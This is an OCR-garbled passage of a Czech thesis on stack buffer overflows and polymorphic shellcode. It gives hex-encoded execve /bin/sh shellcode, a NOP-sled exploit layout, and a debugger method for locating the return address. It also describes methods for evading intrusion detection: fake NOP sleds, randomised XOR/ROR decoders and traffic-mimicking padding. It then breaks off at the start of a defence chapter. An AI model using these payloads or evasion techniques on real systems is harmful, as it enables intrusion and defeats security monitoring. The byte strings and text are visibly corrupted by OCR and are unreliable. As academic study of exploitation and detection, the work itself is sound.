Jak konkrétn¢ preteceni bufferu na zasobniku funguje? Predpokladejme, ze mame pole o osmi
znacich, do kterého chceme ulozit text zadany uzivatelem. Pokud tento zadany fetézec bude
obsahovat osm a méné znaki, bude vSe v poradku. Jestlize ale uzivatel zada znaku vic, do pole se jiz
nevejdou a preteCou. Co se stane dale, zavisi na umisténi dalSich proménnych funkce na zasobniku.
Jak takového preteceni na zasobniku docilit, je ukazano v Prikladu 3.1, ktery je napsan v jazyce C.

#include <stdio.h>
#include <string.h>

#define LENGTH 8
vold main (void)

{

char bufferl[LENGTH], buffer2[LENGTH];
// Vynulujeme si obé& pole

memset (bufferl, 0, LENGTH);

memset (buffer2, 0, LENGTH) ;

// Nakopirujeme do poli fetézce

strcpy (bufferl,"");

strcpy (buffer2,™"0123456789") ;

// Vytiskneme obsah poli a jejich adresy

printf ("Bufferl: %$s na adrese %p\n", bufferl, bufferl);
printf ("Buffer2: %$s na adrese %p\n", buffer2, buffer2);

Priklad 3.1: Preteceni bufferu

Pokud tento kod prelozime a spustime na systému Linux, dostaneme vysledek uvedeny nize:

Bufferl: 89 na adrese Oxbffff424
Buffer2: 0123456789 na adrese Oxbffffidlc
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Zietelng na tomto vystupu vidime, ze buffer?2 je umistén na niz§i adrese nez bufferl a
ze z n¢j pretekly do bufferl dva znaky. Pokud bychom fetézec 0123456789 nakopirovali pro
zménu do buf ferl, taktéz by pretekl, ale prepsal by ukazatel na ramec a navratovou adresu, coz by
vyvolalo chybu segmentace” a program by byl ukonéen. Za piedpokladu, Ze bychom navratovou
adresu funkce pfepsali nami pozadovanou navratovou adresou, ziskali bychom kontrolu nad
provadénim programu. Komplikaci této metody jsou vSak preventivni bezpecnostni opatfeni, ktera
jsou popsana dale v Kapitole 5.1.

Nutno jesté podotknout, Ze adresy se budou na ruznych pocitaich a systémech lisit. Pokud
tentyZ program prelozime a spustime na operacnim systému Windows, vysledna adresa bude kvali
jinému rozvrzeni virtualniho adresového prostoru uplné odlisna:

Bufferl: 89 na adrese 0x22ff18
Buffer2: 0123456789 na adrese 0x22ff10

3.2  Casti shell-kodu

Drive, nez se podivame, jak kompletni shell-kod vytvofit, popiSeme, z jakych ¢asti se sklada.
Z kapitoly 2 jiz vime, ze jeho vykonnou ¢asti je payload neboli operacni kod. V predeslé podkapitole
jsme se dozveédeli o dalsi casti — navratové adrese. Ale jeste existuje jedna Cast, o které jsme se dosud
nezminili, a tou je NOP sled, coZ je posloupnost instrukci NOP (0x90), které neprovadéji zadnou akci
a obvykle se pouzivaji pro spravné Casovani vypocetnich cykli. V naSem pfipadé maji ale jinou
funkci, ke které se za chvili dostaneme.

Kdyz chceme prepsat navratovou adresu funkce na zasobniku, musime védét, jakou adresou ji
prepsat. Chceme presmérovat vykonavani tak, aby probéhl nas operacni kod. Aby fungoval spravné,
musime jej zacit provadét presné od zacatku, a tudiz bychom museli znat presnou adresu, na které
bude tento operacni kod zacinat. A to byva problém. Muzeme vyuzit hrub¢ sily a zkouset mnozstvi
ruznych adres, ale tento zpusob je vysoce neefektivni. A pravé v tuto chvili pfichazi ke slovu jiz
zminény NOP sled. Oproti vlastnimu operacnimu kdédu ma tu vyhodu, Zze pokud je vykonavani
presmérovano kamkoli do jeho wvnittku, vzdy se dostaneme na jeho konec. Béh programu jakoby
sklouzne az k opera¢nimu kddu, ktery je umistén za nim. To je také duvod, pro¢ se tato ¢ast nazyva
sled, coz znamena anglicky sané. Diky této technice tedy nepotfebujeme znat presnou adresu.

Kdyz to tedy shrneme, klasicky shell-kdd pro zneuziti preteceni bufferu na zasobniku se
sklada z NOP sledu, za kterym nasleduje vlastni operacni kod, a je zakoncen opakujici se navratovou
adresou. Piehledné je to zobrazeno na Obrdzku 3.1.

NOP sled Operacni kéd | Opakujici se navratova adresa

Obrazek 3.1: Slozeni shell-kodu

3 anglicky Segmentation fault
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3.3 Tvorba shell-kodu

Tvorba shell-koédu pro zneuziti preteceni bufferu na zasobniku je na operacnich systémech
popiseme na prvnim zminéném operacnim systému a prubézné¢ budeme zminiovat rozdily.

Béhem tvorby shell-kodu pln€ vyuZijeme naSich znalosti jazyka symbolickych instrukci. Ze
vieho nedfive napiseme program, ktery déla to, co pozadujeme, a pomoci assembleru NASM' jej
zkonvertujeme do strojového kodu. Nejklasictéjsim shell-kodem je shell-kod pro zpfistupnéni shellu,
a proto si na ném principy tvorby ukazeme. Nejprve si uved’'me, jak bychom Zadaného cile dosahli
vjazyce C. NejsnadngjSim fesenim je zavolani unixového systémového volani execve(), které ma
¢islo 11 ajehoz predpis je nasledujici:

int execve(const char *filename, char *const argv[],char *const envpl]);

Prvni parametr urcuje, jaky soubor se ma spustit (musi to byt skript nebo binarni soubor),
druhym parametrem je pole fetézcovych argumentd, které budou predany spousténému programu, a
poslednim parametrem se programu predava nastaveni prostredi. Toto systémové volani ma cCislo 11.
Dalsi funkci, kterou pouzijeme, bude exit(), jejiz Cislo systémového volani je 1 a pomoci které
zajistime, ze se program ukonci v pripad¢ neuspésného volani funkce execve():

void exit(int status);

Tyto dvé funkce nam jiz sta¢i k napsani pozadovaného programu v jazyce symbolickych
instrukci. Mohli bychom se do psani pustit hned, ale jesté predtim je tfeba si uvédomit jednu
dualezitou véc. AZ bude kompletni shell-kdd hotovy, bude se s nim pracovat jako s feté¢zcem. V jazyce
C jsou feté¢zce ukonceny znakem 0x00, takze jakmile funkce pro praci s fetézci na tento znak narazi,
jiz dale nepokracuji a pokladaji jej za konec. Tudiz si musime dat jiz pfi psani programu v jazyce
symbolickych instrukci pozor na to, abychom se znaku 0x00 vyvarovali. Moznosti, jak by mohl
zamySleny program vypadat, je vice, my pouzijeme podobu prezentovanou v [1]. Cely program je
umistén v Priloze A.

Na Windows vySe zminény zpusob s vyuzitim systémovych volani neni prili§ bézny. Na
rozdil od Linuxu, kde jsou ¢isla systémovych volani stale stejna, na Windows se s kazdou verzi a
novym servisnim balickem méni. Kdybychom tedy vyse uvedeny zpusob pouzili, omezili bychom
funkcnost operac¢niho kodu pouze na stavajici verzi Windows. Misto toho se vyuziva dynamicky
linkovanych knihoven, které umoznuji pfistup k funkcim jadra. Jejich adresa byva znama a pomoci
jejich analyzy je mozno najit konkrétni adresu pozadovanych funkci. Cely tento proces ma za
nasledek, ze operacni kod pro Windows je bézné¢ mnohonasobn¢ delsi nez operacni kod pro Linux.
Popis zptisobu, jak zminén¢ adresy zjistit je komplikovanéjsi a je uveden v [6] a [7].

Jakmile mame koéd vytvoreny, pomoci prekladace NASM jej preloZzime a zobrazime pomoci
disassembleru ¢i napiiklad pomoci nastroje Objdump. Posloupnost bajti reprezentujici program
posléze prepisSeme do fetézce. Vysledny fetézec je vidét na Prikladu 3.2.

 http://www.nasm.us
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\xeb\x16\x5b\x31\xc0\x89\x43\x07\x89\x5b\x08\x89\x43
\x0c\x8d\x4b\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\xe8\xeb
\XTE\XEA\xEf\x2F\x62\x69\x6e\x2f\x73\x68\x58\x41\x41
\x41\x41\x42\x42\x42\x42

Priklad 3.2: Operacni kdd pro zpristupnéni shellu

Nyni, kdyz jiz zname pozZadovany operacni kod, miZeme vytvofit zbytek shell-kodu.
Nasledn¢ musime urcit hodnotu, jakou mame pifepsat navratovou adresu funkce. K tomu nam
v generatoru poslouzi funkce zobrazena v Prikladu 3.3. Poté jesté musime zjistit, respektive uhadnout,
vzdalenost (offset) od této adresy.

unsigned long get sp(void)
{

asm (mov %esp, %eax™);

Priklad 3.3: Zjisténi ESP

P1i vytvafeni exploitu na systému Linux nam zminéna funkce vrati hodnotu podobnou adrese
Oxbffff202. Vytvofime si pole znaku typu unsigned char, které bude vétSi nez pole, jeZ chceme
pretéci. Pro jednoduchost miizeme zvolit velikost tfeba o 100 bajthi vétsi. Poté do celé¢ho tohoto pole
nakopirujeme opakujici se navratovou adresu, ¢imz se ujistime, ze k preteceni dojde.

Pfi vytvareni exploitu na systétmu Windows ale nastane komplikace. Jak jsme ukazali
v Kapitoldach 2.4 a 3.1 ma adresa zasobniku ma prvni bajt nulovy. Dokonce i v pfipad¢, ze by se nam
tedy podarilo adresu nakopirovat do celého bufferu spravné, vyskytovaly by se ve vysledném shell-
kédu nulové znaky. Musime tedy pouzit jinou techniku. V tuto chvili budeme muset podrobngji
zanalyzovat program, ve kterém chceme zranitelnost zneuzit, a zjistit pfesnou vzdalenost navratové
adresy od zacatku bufferu, ktery chceme pretéci. Konkrétné to provedeme na programu z Prikladu
3.4.

#include <stdio.h>
#include <string.h>

vold test (char* a)

{
char bufferl1l[10] = "BBBBBBBB";
strcpy (bufferl,a);

int main (void)
{
test ("AAAA") ;

return 0;

Priklad 3.4: Testovaci program na preteceni

Tento program pielozime ve vyvojovém prostiedi Code::Blocks", nastavime zachytny bod
debuggeru tésn¢ za volani funkce strcpy() ve funkci test() a spustime ladéni. Nechame si zobrazit

15 http://www.codeblocks.org

21


file:///xeb/xl6/x5b/x31/xc0/x8
file://9/x4
file://3/x07/x8
file://9/x5b/x0
file://8/x8
file://9/x4
file:///x0c/x8d/x4b/x0
file://8/x8d/x53/x0c/xb0/x0b/xcd/x8
file://0/xe8/xe5
file:///xff/xff/xff/x2f/x62/x69/x6e/x2f/x7
file://3/x68/x5
file://8/x41/x41
file:///x41/x41/x42/x42/x42/x42
http://www.codeblocks.org

pamét’ a zaroven informace o soucasném zasobnikovém ramci. Vysledek je vidét na Obrazku 3.2.

Kromé zajimavych informaci o rozloZeni zasobnikového ramce nas bude zejména zajimat umisténi

navratove¢ adresy a adresa zacatku bufferu. Buffer, na jehoz zacatku jsou Ctyfi znaky A (0x41), zacina
na adrese 0x0022fee6. Ulozena navratova adresa, ktera v tomto pfipad¢ nabyva hodnoty 0x0040136e,

se nachazi na adrese 0x0022ff0c. Pokud tyto ziskan¢ adresy od sebe odeéteme, zjistime, Ze navratova

adresa je ulozena 38 bajtu od zacatku bufferu, ktery mame v umyslu nechat pretéci. S touto informaci

nam tedy staci pii tvorb¢ shell-kddu pouze jedno nakopirovani adresy na konkrétni misto.

Stack lewvel 0, frame at 0xZZIfl10:
eip = 0x40134c in test (C:WUsers'NexTest\Documentshkodyhescape.c:12); saved eip Ox40l13ge
called by frame at Ox2Z2££30
source language c.
Arglist at OxZZ££08, args: =2=0x4030Ze "ARRR"
Locals at OxZZ££08, Prewvious frame's sp is 0xIZIL10
Saved registers:
ebx at OxZZifefc, ebp a2t OxIZL££08, esi at OxZZE££00, edi at OxZZ££04, eip at OxRIZLL0c

4 I

Selected frame EI@

Go

Memory
Address: 0x22fedd B\,rtes:|128 v”
(e.g. 0x401060, or &variable, or Seax)
Ox2Zfedl: et £fe 22 00 Z2e 30 40 00140 1= 40 00 00 OO0 Q0 OO0 zb". OB .EB.E.....
OxZZfeeld: el 1l& 40 00 d0 £fe 41 41|41 41 00 42 42 42 00 00 Z.@.PpARRE BEE..
0xZ2fef0: d5 Bc 25 77 14 d3 c0 25|fe ££ £f £Ff 00 40 £4 7€ Svw_CRabiFy._adl
0x22££00: 00 00 00 OO 00 00 00 00|28 ££ 22 00 €e 13 40 00 . _____.. (" . n_@.
0x2Zf£f10: Ze 30 40 00 18 23 Zc 00|44 00 00 00 00 40 £d 7£ L0@. €, .M. .. .@¢d
Ox2Z££20: 00 40 £4 7£ 00 00 00 00|&€8 ££ ZZ 00 k& 10 40 00 1 S 1,
0x2Z££30: 01 00 00 OO0 20 10 &= 00|38 1le €= 00 ££ ££ ££ ££ S I O )
OxZ2££40: 58 ££ 22 00 d5 8c 25 77154 d4 o0 25 fe ££ £f ££f i 0%wTOAShIFY

Obrazek 3.2: Vystup z debuggeru (Win32)

Dalsi postup uz je shodny pro oba systémy. Vytvorime NOP sled o dostatecné délce, za néj

nakopirujeme ziskany operacni koéd a nas shell-kod je hotov. Vysledny shell-kod pro zneuziti

preteceni bufferu na zasobniku na Linuxu v pfipadé o néco vétSiho bufferu je zobrazen v Prikladu

3.5.

\x90\x90\x90\x90\x90\x 90\x 90\x 90\x 90\x 90\x 90\x 90\x 90\x 90\x 9 0\x 90\x 90\x 90\x 90\x 9 0\x 90
\x90\x90\x90\x90\x90\x 90\x 90\x 90\x 90\x 90\x 90\x 90\x 90\x 90\x 9 0\x 90\x 90\x 90\x 90\x 9 0\x 90
\x90\x90\x90\x90\x90\x 90\x 90\x 90\x 90\x 90\x 90\x 90\x 90\x 90\x 9 0\x 90\x 90\x 90\x 90\x 9 0\x 90
\x90\x90\x90\x90\x90\x 90\x 90\x 90\x 90\x 90\x 90\x 90\x 90\x 90\x 9 0\x 90\x 90\x 90\x 90\x 9 0\x 90
\x90\x90\x90\x90\xeb\x 1 6\x Sb\x31\xc0\x89\x43\x07\x8N\x5b\x08\x 8Nx43\x Oc\x 8d\x4b\x 0&\
x8d\x53\x0c\xb0\xOb\xcd\x80\xe8\xe S\x fN\x fi\x fI\x 21 \x 62\x 69\x 6e\x 21\x 73\x68\x 58\x41\x4 1

\x4 1\x41\x42\x42\x42\x 02\x f2\x fAx b Ax 02\x f2\x fH\xbN\x 02\x F2\x fAx b \Ax 02\x f2\x f\x bf\x 02\x

P2\xfA\xbAx02\x f2\x fAxbAAx 02\x f2\x f\x b\x 02\x f2\x f\x b \x 02\x f2\x f\x b\x 02\x f2\x f\x b\x O
2Axf2\x fA\xbNx 02\x FP2\x f\xbAX 02\x fF2\x fi\x b\x 02\x f2\x f\x bA\x 02\x f2\x f\x b \x 02\x 2\x f{\x b
\xO2\xP2\x FfAAXbAX 02\x f2\x fN\x bAX 02\x f2\x FAXbAX 02\ F2AX f\x bI\x O2\x f2\x fAXbAX02\x f2\x 1\

xbAx02\x f2\x f\xbNx 02\x f2\x fAxb\x 02\x f2\x f\x bN\x 02 \x f2\x f\xbAx 02\x f2\x f{\x bf

Priklad 3.5: Hotovy shell-kod
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file:///x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90
file:///x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90
file:///x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90
file:///x90/x90/x90/x90/xeb/xl6/x5b/x31/xc0/x89/x43/x07/x89/x5b/x08/x89/x43/x0c/x8d/x4b/x08/

4 Polymorifni shell-kody

V této kapitole se konecné podivame na rizné metody polymorfismu a popiSeme autorem
navrzené Upravy.

4.1  Zpiisob testovani

4.1.1 Stanoveni spektralniho obrazu

Cilem polymorfnich metod je zamaskovani klasického shell-kodu tak, aby bezpecnostni
programy vyuzivajici detekci vzori nemély moznost rozpoznat zadné opakujici se posloupnosti bajti.
Avsak samotné pouziti riznych polymorfnich metod jesté nezaruCuje uspéSné obejiti zminéného
zpusobu detekce. Pokud je vimplementaci generatoru drobna chyba, ktera zpusobuje vytvareni
shodnych vzoriu (byt’ minimalnich) v riznych bézich programu, znehodnocuje cely proces maskovani.

Nejsnadnéjsim zpusobem, jak opakujici se vzory rozpoznat, je vytvoreni spektralniho obrazu
vygenerovaného shell-kddu a jeho porovnani se spektralnimi obrazy dalSich béhii programu. Pokud
budeme uvazovat spektrum ve stupnich Sedi, mize zobrazit maximalné 255 moznosti, coz odpovida
poc¢tu moznych bajtu ve vygenerovaném shell-kodu.

Pokud jednotliva fadkova spektra vice béhii programu slozime dohromady do jedin¢ho
obrazu, muzeme véEtSinou na prvni pohled rozpoznat pripadné vzory. Je ovSem nutno dodat, Ze tato
metoda rozhodné neni stoprocentni a je omezena schopnostmi lidského oka. Napiiklad bajty o
hexadecimalni hodnoté 0x41 a 0x42 se zobrazi téméf totozné. Resenim by mohlo byt generovani
barevného spektra, ale pro potieby této prace vystacime s uvedenymi stupni Sedi.

4.2 Metody polymorfismu

4.2.1 FaleSny NOP sled

Dlouha posloupnost NOP instrukei je jednou z nejlépe detekovatelnych ¢asti klasickych shell-
kédu. Zatimco operacni kod u nich byva rizny pro rizné¢ zamétené shell-kody, NOP sled je vzdy
stejny, a proto je jeho detekci mozno rozpoznat i neznamé noveé exploity. Pokud chceme, aby nas
shell-koéd nebyl pomoci detekovaného NOP sledu odhalen, musime tuto posloupnost nahradit ¢i
zamaskovat. NejjednodusSim zpasobem, jak toho docilit, je pouzit jiné instrukce, pres které
vykonavani programu také dobéhne az k vlastnimu operacnimu kodu, ale jez zaroven nemaji na jeho
vykonani zadny vedlejsi vliv. Musime si ovSem uvédomit, ze vétSin¢ pfipadii nevime presné, kam
konkrétn¢ bude pomoci prepsané navratové adresy vykonavani pfesmérovano. Z toho vyplyva, Ze
kazdy bajt ve falesném NOP sledu musi byt zaroven zacatkem néjaké instrukce. Dana skutecnost Cini
k chyb¢ programu. Z tohoto divodu se v soucasnych generatorech polymorfnich shell-kodu zpravidla
pouzivaji pouze jednobajtove instrukce.

Klasickym predstavitelem generatoru polymorfnich shell-kdda je ADMmutate, o kterém si
fekneme pozdéji v Kapitole 4.3. Pouziva 55 jednobajtovych instrukei, mezi které patii zejména rizné
varianty instrukci INC reg32 (inkrementace registru), DEC reg32 (dekrementace registru), PUSH
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reg32 (vloZeni obsahu registru na zasobnik), POP reg32 (vyjmuti hodnoty na vrcholu zasobniku do
registru) a XCHG reg32, reg32 (prohozeni dvou hodnot registri) a n€kolik dalSich. Z celkového
mnozstvi 255 moznych variant je tedy pouzito 21 %.

Dalsich jednobajtovych instrukci, které se pro faleSny NOP sled zatim nepouzivaji, ale bylo by
mozno je vyuzit, necbude mnoho. V autorem vytvofeném generatoru se podarilo navysit pocet
jednobytovych instrukci pouze o dvé na celkovy pocet 57. Proto se jevi snadnéj§im pouziti dvou- a
vicebajtovych kombinaci. Problémem ovSem je, jak vybrat ty pouzitelné. Muzeme pouzit budto
hrubou silu a testovat vSechny mozné kombinace, nebo projit cely manual k mikroprocesorové radé
IA-32 a testovat manualné jednu instrukci za druhou. Pro nalezeni dvoubajtovych kombinaci je
mozno hrubé sily pouzit, aniz by testovani trvalo zbytecné dlouho.

Pomoci skriptu napsan¢ho v jazyce Perl budeme testovat jednotlivé kombinace bajti, kde na
prvnim misté se bude nachazet ciselna hodnota potencialni instrukce a na druhém misté bude hodnota
n¢které ze znamych jednobajtovych instrukci. Jestlize je moznych 255 riznych hodnot prvniho bajtu
instrukce, po vyfrazeni hodnot jednobajtovych instrukci toto Cislo snizime pod 200 a dal§im
vyfazovanim tuto hodnotu jesté dale snizime. Musime napfiklad odebrat hodnotu 0x00 ¢i hodnoty
prvnich bajth instrukci pro zménu vykonavani béhu programu (JMP, CALL, LOOP, RET). Do
bufferu tedy nejdfive umistime pravé testovanou kombinaci a za ni vloZime testovaci operacni kod,
ktery bude mit za cil vytisknout zpravu ,,DONE®. Pokud se ve vystupu tato zprava objevi, znamena
to, Ze pravé testovana kombinace prosla prvnim testem. VSechny instrukce, které jsme takto ziskali,
budeme ale jest€ muset fadné otestovat v dalSich testech a az na konci je budeme moci prohlasit za
pouzitelné.

Po provedeni danych testii jsme ziskali soubor dalSich pouzitelnych kombinaci, u kterych jsme
si jisti, ze kazdy bajt z téchto kombinaci je zacatkem samostatné instrukce. Vysledkem je dalSich 1
616 kombinaci, které muzeme pouzit ve falesném NOP sledu. Pocet zastoupenych bajti se zvysil na
135, coz je 52% zastoupeni spektra bajt. Pfehledné jsou pouZité bajty zobrazeny na Obrdzku 4.1, kde
tmavé zvyraznéné bunky reprezentuji bajty pouzité v ramci jednobajtovych instrukci a svétle
zvyraznéné buriky reprezentuji nové pridané bajty.

Vygenerované spektrum rtiznych variant NOP sledu je zobrazeno na Obrdzku 4.2. Vrchni
sekce zobrazuje spektrum klasického NOP sledu slozeného pouze z instrukci NOP. Prostfedni sekce
ukazuje spektrum posloupnosti vygenerovanych pouze zjednobajtovych instrukci. Posledni,
nejspodnéjsi sekce zobrazuje spektralni obraz, kterého bylo dosazeno vyuzitim i dvoubajtovych
kombinaci.

Pokud bychom chtéli zastoupeni bajtd dale navysit, museli bychom se porozhlédnout po tfi- a
vicebajtovych instrukcich. V tomto pfipadé je ale testovani hrubou silou, které jsme pouzili pro
zjisténi dvoubajtovych kombinaci, ¢asové velmi narocné a neefektivni, a bylo by snazsi testovat
potencialni kombinace manualng.
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Obrazek 4.1: Vyskyt bajtii ve falesném NOP sledu

PSR #u b,

Obrazek 4.2: Spektralni obraz vygenerovanych NOP sled

4.2.2 Zakodovani opera¢niho kodu

Taktéz vlastni operacni kod je nutno zakddovat tak, aby jej nedokazaly systémy pro detekei
vzori rozpoznat. Jakym zpusobem muzeme nas operani kod zakodovat? Nejdiive se musime
rozhodnout, kter¢ instrukce pro kodovani pouzijeme. V soucasnych generatorech se pro kddovani
zpravidla pouziva pouze instrukce XOR, ktera provadi vyluény soucin svych operandi. Muzeme ale
vyuzit dal§ich instrukei:

e ROR -rotace vpravo
e ROL - rotace vlevo
e ADD - soucet

e SUB - odecet

e INC - inkrementace
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e DEC - dekrementace

Krom¢ poslednich dvou zminénych vyzaduji vS§echny uvedené instrukce kli¢, ktery pouziji
jako jeden ze svych operandi. Aby pfi kazdém generovani byl zakddovany operacni kod jiny, je
nutno, aby tento kli¢ byl nahodn¢ generovan. Nejprve nahodné zvolime instrukce a jejich klice, které
pouzijeme pro kodovani. S témito kli¢i a operacemi komplementarnimi k vygenerovanym instrukcim
operacni kod zakédujeme. Poté poskladame dohromady kompletni dekodovaci rutinu a vlozime ji
pred zakddovany operacni kod. Zakladni dekodovaci program je uveden v Priloze C. Az se bude
shell-kéd vykonavat, operacni kod bude na zasobniku dekodovan a poté proveden.

Je nutno si uvédomit, Zze 1 zminéna desifrovaci posloupnost musi mit polymorfni vlastnosti.
Toho docilime vlozenim nadbytenych instrukci mezi jeji jednotlivé bajty. Smime pouzit pouze ty
instrukce, které nepracuji s registry pouzitymi pii dekddovani. Pro tento ucel jsou vyuzity pouze
nékteré jednobajtové instrukce. Sablona uspofadani dekodéru je zobrazena v Prikladu 4.1.

———-\xeb\x00-——--\x5e-—-——--\x31\xc9----\xb1\x00
————-\x46-——-\xe2\x00-—-—-\xeb\x05-——-\xe8\x00\xff\xff\xff

Priklad 4.1: Usporadani dekodéru

Na mista, kde se nachazi posloupnost ———-, muzeme vlozit nadbytecné instrukce, na misto
posloupnosti vlozime vySe vygenerovan¢ instrukce pro dekodovani. Na misto prvniho
vyskytu znaku \x00 vloZime vzdalenost, na jakou se ma provést skok dopredu (musime skocit az na
instrukci CALL, kterou reprezentuje poslednich pét bajtu fetézce). Na misto dal§iho znaku \x00
vlozime délku dekddovaného operac¢niho kodu. Zminény priklad je urcen pouze pro operacni kody do
velikosti 255 bajt. Misto tfetiho znaku \x00 vlozime vzdalenost k pocatku dekodovacich instrukeci (tj.
misto, kde zacina posloupnost ). Posledni znak \x00 nahradime vzdalenosti, kterou musime
skodit zpét na vykonani instrukce POP esi, ktera je v naSem prikladu reprezentovana znakem \x5Se.
Vsechny dané vzdalenosti musime pocitat az pfi generovani na zakladé mnozstvi vygenerovanych
dekodovacich instrukei a poctu nadbyteénych instrukei.

Spektralni obrazy tfi moznych podob operacnich kodu jsou zobrazeny na Obrazku 4.3. Horni
sekce zobrazuje situaci, kdy Zadné kodovani nepouzijeme, a tudiz je pii vSech generovanich vysledek
stejny. Prostfedni sekce zobrazuje pouziti nezamaskovaného dekodéru. Zietelné vidime opakujici se
vzory v jednotlivych generovanich. Posledni sekce zobrazuje situaci, kdy byl pouzit dekodér
s pouzitim nadbytecnych instrukei.
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Obrazek 4.3: Spektralni obraz operacnich kodhi

Umisténi dekodéru pred zakodovany operacni kéd je v soucasné dobé nejpouzivangjsi. VEtsi
variability kodovani je ale mozno dosahnout umisténim dal§iho dekodéru za vlastni operacni kod.
Oba dekodéry by meély na starosti jinou cast operacniho koédu, ¢imz by se zvysila obtiznost jeho
rozpoznani.

4.2.3 Ménéni navratové adresy

Stejné jako ostatni casti shell-kddu je posloupnost opakujicich se navratovych adres snadno
detekovatelna. Problémem ale je, Ze tyto adresy nemuzeme nijak vyrazné¢ zamaskovat. V generatoru
ADMutate je pouzita metoda mirmého zamaskovani adresy, spocivajici v ménéni dolnich bitt adresy.
Mnozstvi bita, které mizeme zménit, zavisi na velikosti NOP sledu v shell-kddu. Pokud je dlouhy,
muzeme si dovolit vétsi odchylku, a tudiz zvétsit variabilitu adres.

Spektralni obraz moznych variant podoby navratovych adres je zobrazen na Obrdzku 4.4.
Vrchni sekce zobrazuje nezménéné navratové adresy, spodni sekce ukazuje adresy upravené. I pres
pouziti této metody je mozno opakujici se navratové adresy snadno rozeznat. Aby se adresa tolikrat
neopakovala, vyuzijeme techniky popsané v Kapitole 3.3 a pomoci peclivého prozkoumani paméti
zjistime presné umisténi navratové adresy funkce. Adresu, ukazujici do NOP sledu, nam poté staci do
shell-koédu nakopirovat v minimalnim poétu, nebo jesté 1épe pouze jednou. Co ale udélame s mistem,
které jsme takto usetfili? Jednou z mozZnosti je posunout zakddovany operacni kod spolecné
s dekodérem a prodlouzit NOP sled. Na druhou stranu tento prostor muzeme vyuzit i jinak, a to
pridanim vyplng, ale tento postup si popiSeme az v dalsi kapitole.

Obrazek 4.4: Spektralni obraz opakujicich se navratovych adres
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424  Vyplii

Tato metoda caste¢né souvisi s metodami predchozimi. V Kapitole 4.2.3 jsme se zminili, Ze
do usetfen¢ho prostoru, ktery jsme ziskali snizenim poctu opakovani navratovych adres, mizeme
vlozit ur¢itou vyplii. Z ¢eho se tato vypli bude skladat? Nez si na tuto otazku odpovime, méli bychom
poznamenat, ze detekce znamych vzort neni jedinym zpusobem. V Kapitole 5.2.2 popiSeme jesté
detekci anomalii. Struéné€ zde jen uvedeme, Ze tento zpusob detekce je zaloZen na statistickém
vyhodnocovani sitového provozu. Pokud systém pro detekci ¢i prevenci pruniku tuto metodu
pouziva, ma pichled o tom, jak vypada bézny provoz. To mu dovoluje kontrolovat napriklad
spektrum prenasenych bajta.

Shell-kody se tomuto spektru vétSinou pfili§ nepodobaji. A pravé vyplné miZzeme pouzit pro
prizpusobeni se. Pokud bychom znali spektrum sitového provozu na poditaci, na kterém se nachazi
bezpecnostni chyba, mohli bychom mu nas shell-kdd prizptisobit generovanim vyplné. Tato metoda
je soucasti generatoru polymorfnich shell-kodi CLET, popsan¢ho v Kapitole 4.3 a [9].

V autorem vytvofeném generatoru se vypli generuje nahodné, bez ohledu na spektrum
sitového provozu.

4.2.5 Tisknutelny ASCII shell-kod

Za ucelem obejiti restriktivnich opatfeni bufferu, ktera jsou popsany v Kapitole 5.1.2,
muzeme pouzit specialniho druhu shell-kodii. Tyto shell-kody se celé skladaji z instrukei, jejichz
hodnoty odpovidaji pouze tisknutelnym znakum. Z tohoto divodu je oznacujeme pravé jako
tisknutelné ASCII shell-kody.

Vzhledem k tomu, ze pocet téchto instrukci je omezeny, bylo by velmi sloZit¢ pomoci nich
vytvorit néjaky klasicky shell-kod. Z tohoto duvodu funguji tisknutelné ASCII shell-kddy jinym
zpusobem. Konkrétné pomoci svych instrukei na zasobniku teprve poZadovany operacni kod samy
vybuduji.

Tato technika neni v autorem vytvofeném generatoru pouzita, a proto ji nebudeme dale
popisovat. Pokud by nas vice zajimala, miizeme o ni zjistit vice informaci z [1].

4.3 Vyznamné generatory

Generatorui polymorfnich shell-kodu existuje v soucasné dobé vét§i mnozstvi. My si v této
CLET ([8]) a Metasploit Framework'”.

Nejdiive popiSeme prvné jmenovany. Ze zminénych generatorti je nejstar§im. V jazyce C
implementuje nckolik technik tvorby polymorfnich shell-koda. Prvni znich je faleSny NOP sled
generovany ze souboru 55 jednobajtovych instrukei. Jeho autor sice mozné rozsiteni pomoci instrukei
vicebajtovych navrhuje, ale v praxi jej neimplementuje. Navic muze pouzitym instrukcim nastavit
vahu a tim ovlivnit vysledné rozlozeni. Dalsi metodou je zakddovani operac¢niho kodu pouze pomoci
funkce XOR s pouzitim nadbyteénych instrukci. Posledni polymorfni metodou, implementovanou
v tomto generatoru, je ménéni spodnich biti navratové adresy. Za zminku stoji taktéz fakt, Ze mimo
IA-32 poskytuje podporu i pro dalsi architektury.

18 http://www.ktwo.ca/security.html
17 http://www.metasploit.org
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Druhym zminénym generatorem je CLET. Tento generator je vyznamny hlavné z davodu
svoji implementace prizptsobeni se spektru sitového provozu. Pomoci analyzy souboru se
zaznamenanym spektrem muze vygenerovat shell-kod, ktery je velmi podobny puvodnimu spektru.
K tomuto ucelu vyuziva generovani vice dekddovacich posloupnosti, ze kterych poté vybira tu
nejvhodnéj§i. Navic vysledné spektrum ovliviiuje 1 generovanim vyplné. Témito technikami
umoziuje obejit 1 bezpecnostni systémy zalozené na jinych principech nez je detekce vzort.

Poslednim generatorem, ktery zde popiSeme, je komplexni Metasploit Framework
implementovany ve skriptovacim jazyce Ruby. Je to profesionalni vyvojové prostiedi nabizejici
mnozstvi riznych voleb a nastroju pro penetracni testovani systémi. Ve své databazi ma uloZeno
mnozstvi znamych operacnich kodiu vyuzivajicich mimo preteceni bufferu na zasobniku i dalsi druhy
zranitelnosti.
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S Obranné techniky

5.1 Preventivni opatreni
Tato podkapitola je vypracovana na zaklad¢ [3] a [10].

5.1.1 Bezpecné programovani

Aby mohl uto¢nik zneuzit bezpecnostni slabinu programu, musi tuto slabinu nejprve nalézt.
dodrzovat spravné programovaci techniky a programovat s ohledem na bezpecnost, mnozstvi chyb
dokazeme zasadn¢ omezit.

Knihovny jazyka C nam poskytuji mnozstvi funkei, kterymi miizeme nahradit nékteré méné
bezpecné. Prikladem muze byt napriklad vyuziti funkce strncpy () misto strcpy (). Prvni
jmenovana vyzaduje navic ¢iselny parametr n, udavajici, kolik znakti se ma kopirovat. Pokud je tento
